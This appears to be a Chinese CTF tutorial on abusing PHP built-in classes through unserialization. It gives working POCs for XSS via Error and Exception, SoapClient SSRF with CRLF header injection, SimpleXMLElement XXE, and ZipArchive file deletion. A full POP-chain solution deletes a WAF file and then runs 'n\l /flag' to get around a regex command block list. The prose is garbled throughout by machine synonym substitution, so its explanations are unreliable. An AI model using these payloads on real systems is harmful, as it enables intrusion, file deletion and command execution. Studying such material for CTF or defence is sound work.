浅析php原生类

前言:

在CTF标题中,能够应用php原生类来停止XSS,反序列化,SSRF,XXE和读文件的思绪

遍历一下

Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
Generator::__wakeup
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
JsonException::__wakeup
JsonException::__toString
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
AssertionError::__wakeup
AssertionError::__toString
DOMException::__wakeup
DOMException::__toString
PDOException::__wakeup
PDOException::__toString
PDO::__wakeup
PDOStatement::__wakeup
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
SoapClient::__call
SoapFault::__toString
SoapFault::__wakeup
CURLFile::__wakeup
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString

主要注重以下几个:

Error
Exception
SoapClient
DirectoryIterator
FilesystemIterator
SplFileObject
SimpleXMLElement
SPL库:

也就是php规范库,里面的迭代器就是类,附上链接

https://www.php.net/manual/zh/book.spl.php


嗨害嗨,来喽:
应用Error/Exception 内置类停止 XSS:
Error内置类:

运用条件:

  • 适用于php7版本
  • 在开启报错的状况下

Error 是一切PHP内部错误类的基类。在php7环境下可能有xss破绽,它内置有一个 __toString() 的办法,常用于PHP 反序列化中。

结构XSS:

<?php
$a = unserialize($_GET['name']);
echo $a;
?>

POC:

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>
Exception 内置类:
  • 适用于php5、7版本
  • 开启报错的状况下

测试代码:

<?php
$a = unserialize($_GET['name']);
echo $a;
?>

POC:

<?php
$a = new Exception("<script>alert('xss2')</script>");
$b = serialize($a);
echo urlencode($b);  
?>
运用 SoapClient 类停止 SSRF

详解:https://www.xiinnn.com/article/7741c455.html#SoapClient%E5%9C%A8%E5%AE%89%E5%85%A8%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8

  • 适用于PHP 5, PHP 7, PHP 8
  • 特地用来访问web效劳的类

该内置类有一个 _call 办法,当 _call 办法被触发后,它能够发送 HTTP 和 HTTPS 恳求。

结构函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明能否是wsdl形式,将该值设为null则表示非wsdl形式。
第二个参数为一个数组,假如在wsdl形式下,此参数可选;假如在非wsdl形式下,则必需设置location和uri选项,其中location是要将恳求发送到的SOAP效劳器的URL,而uri 是SOAP效劳的目的命名空间。

web259:

源代码:

<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}
?>
  • php在装置php-soap拓展后,能够反序列化原生类SoapClient,来发送http post恳求。
  • 必需调用SoapClient不存在的办法,触发SoapClient的__call魔术办法。
  • 经过CRLF来添加恳求体:SoapClient能够指定恳求的user-agent头,经过添加换行符的方式来参加其他恳求内容

还有CRLF破绽

flag.php源码

<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

payload:

<?php
$ua = "z3eyond\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

print_r(urlencode(serialize($client)));

其中content-type的需求与post的内容分歧。

直接get传vip=xxx就能够了,最后访问/flag.txt应该就能拿到flag了。

运用 SimpleXMLElement 类停止 XXE
  • 适用于PHP 5, PHP 7, PHP 8
  • 用于解析 XML 文档中的元素。

能够看到经过设置第三个参数 data_is_url 为 true,我们能够完成远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们本人设置的payload的url地址,即用于引入的外部实体的url。

这样的话,当我们能够控制目的调用的类的时分,便能够经过 SimpleXMLElement 这个内置类来结构 XXE。

[SUCTF 2018]Homework

calc 计算器类的代码为:

<?php 
class calc{
    function __construct__(){
        calc();
    }

    function calc($args1,$method,$args2){
        $args1=intval($args1);
        $args2=intval($args2);
        switch ($method) {
            case 'a':
                $method="+";
                break;

            case 'b':
                $method="-";
                break;

            case 'c':
                $method="*";
                break;

            case 'd':
                $method="/";
                break;

            default:
                die("invalid input");
        }
        $Expression=$args1.$method.$args2;
        eval("\$r=$Expression;");
        die("Calculation results:".$r);
    }
}
?>

点击CALC按钮,察看返回的结果和URL,再依据calc类里面的内容,不难判别得知,这里经过module传参去调用calc类,然后剩下3个变量是calc($args1,$method,$args2)函数中参数。

其中值得留意的是$data$dataIsURL这个两个参数:

$data:格式正确的XML字符串,或者XML文档的途径或URL(假如$dataIsURLtrue)。

$dataIsURL:默许状况下$dataIsURL为false。运用true指定$data的途径或URL到一个XML文件,而不是字符串数据。

能够看到经过设置第三个参数 $dataIsURLtrue,我们能够完成远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 $data 就是我们本人设置的payload的url地址,即用于引入的外部实体的url。这样的话,当我们能够控制目的调用的类的时分,便能够经过 SimpleXMLElement 这个内置类来结构 XXE。

运用 ZipArchive 类来删除文件
  • 适用于PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0
  • 一个用 Zip 紧缩的文件存档。

常见类办法:

ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip紧缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将紧缩包解压
ZipArchive::open:翻开一个zip紧缩包
ZipArchive::deleteIndex:删除紧缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除紧缩包中的某一个文件称号,同时也将文件删除

有个ZipArchive::open:

该办法用来翻开一个新的或现有的zip存档以停止读取,写入或修正。

filename:要翻开的ZIP存档的文件名。
flags:用于翻开档案的形式。有以下几种形式:
ZipArchive::OVERWRITE:总是以一个新的紧缩包开端,此形式下假如曾经存在则会被掩盖或删除。
ZipArchive::CREATE:假如不存在则创立一个zip紧缩包。
ZipArchive::RDONLY:只读形式翻开紧缩包。
ZipArchive::EXCL:假如紧缩包曾经存在,则出错。
ZipArchive::CHECKCONS:对紧缩包执行额外的分歧性检查,假如失败则显现错误。
留意,假如设置flags参数的值为 ZipArchive::OVERWRITE 的话,能够把指定文件删除。这里我们跟进办法能够看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也能够直接将flags赋值为8

经过ZipArchive直接调用open办法删除目的机上的文件

梦里花开牡丹亭

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){    // 当waf.txt没读取胜利时才干得到flag
            shell($content);
        }else{
            echo file_get_contents($filename.".php");    // filename=php://filter/read=convert.base64-encode/resource=shell
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));
}

结构反序列化POC来读取shell.php

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}

class login{
    public $file;
    public $filename;   
    public $content;
}

class Open{
    function open($filename, $content){
    }
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "php://filter/read=convert.base64-encode/resource=shell";
$poc->content = "xxx";
echo base64_encode(serialize($poc));

执行POC生成的payload读取到shell.php的源码base64编码

解码得到shell.php源码

<?php
function shell($cmd){
    if(strlen($cmd)<10){
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!');
    }
}

再加上以下这块源码

可知我们只需使 file_get_contents(‘waf.txt’) 读取失败就能够进入 shell($content) 来执行系统命令。所以我们应该要想方法将waf.txt这个文件删除,这样就会读取失败,才干执行我们的命令。

要删除waf.txt只能想到原生类了,并且这个原生类中要有一个open()办法,就用到了ZipArchive::open

假如设置flags参数的值为 ZipArchive::OVERWRITE 的话,能够把指定文件删除。这里我们跟进办法能够看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也能够直接将flags赋值为8。

所以我们应用ZipArchive原生类调用open办法,即可将即可将$filename(waf.txt)删除
删除waf.txt的POC

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}

class login{
    public $file;
    public $filename;   
    public $content;
}

class Open{
    function open($filename, $content){
    }
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = ZipArchive::OVERWRITE;
echo base64_encode(serialize($poc));

生成payload执行后,即可删除waf.txt。接下来就能够运用 n\l /fla* 执行命令读取flag了

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}

class login{
    public $file;
    public $filename;   
    public $content;
}

class Open{
    function open($filename, $content){
    }
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));
php原生文件操作类
遍历文件目录的类
  • DirectoryIterator 类
  • FilesystemIterator 类
  • GlobIterator 类

DirectoryIterator 类

会创立一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 办法,输出指定目录里面经过排序之后的第一个文件名

<?php
$dir=new DirectoryIterator("/");
echo $dir;

遍历文件目录,直接对文件全部输出出来

<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
    echo($f.'<br>');
    //echo($f->__toString().'<br>');
}

运用可遍历目录类绕过 open_basedir

链接:

https://blog.csdn.net/Xxy605/article/details/120221577


可读取文件类

SplFileObject 类

该类的结构办法能够结构一个新的文件对象用于后续的读取


运用 ReflectionMethod 类获取类办法的相关信息

ReflectionMethod 类报告了一个办法的有关信息。能够在 PHP 运转状态中,扩展剖析 PHP 程序,导出或提取出关于类、办法、属性、参数等的细致信息,包括注释。这种动态获取的信息以及动态调用对象的办法的功用称为反射API

总结:

好多,有一些类还没有细看,粗略的理解了以下,根本上就是应用函数内置的类,来到达本人的一些目的。多与其他的浸透办法一同运用来得到flag。

参考链接:

(14条音讯) PHP 原生类的应用_lmonstergg的博客-CSDN博客_php原生类

[PHP 原生类在 CTF 中的应用 – 平安客,平安资讯平台 (anquanke.com)](

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片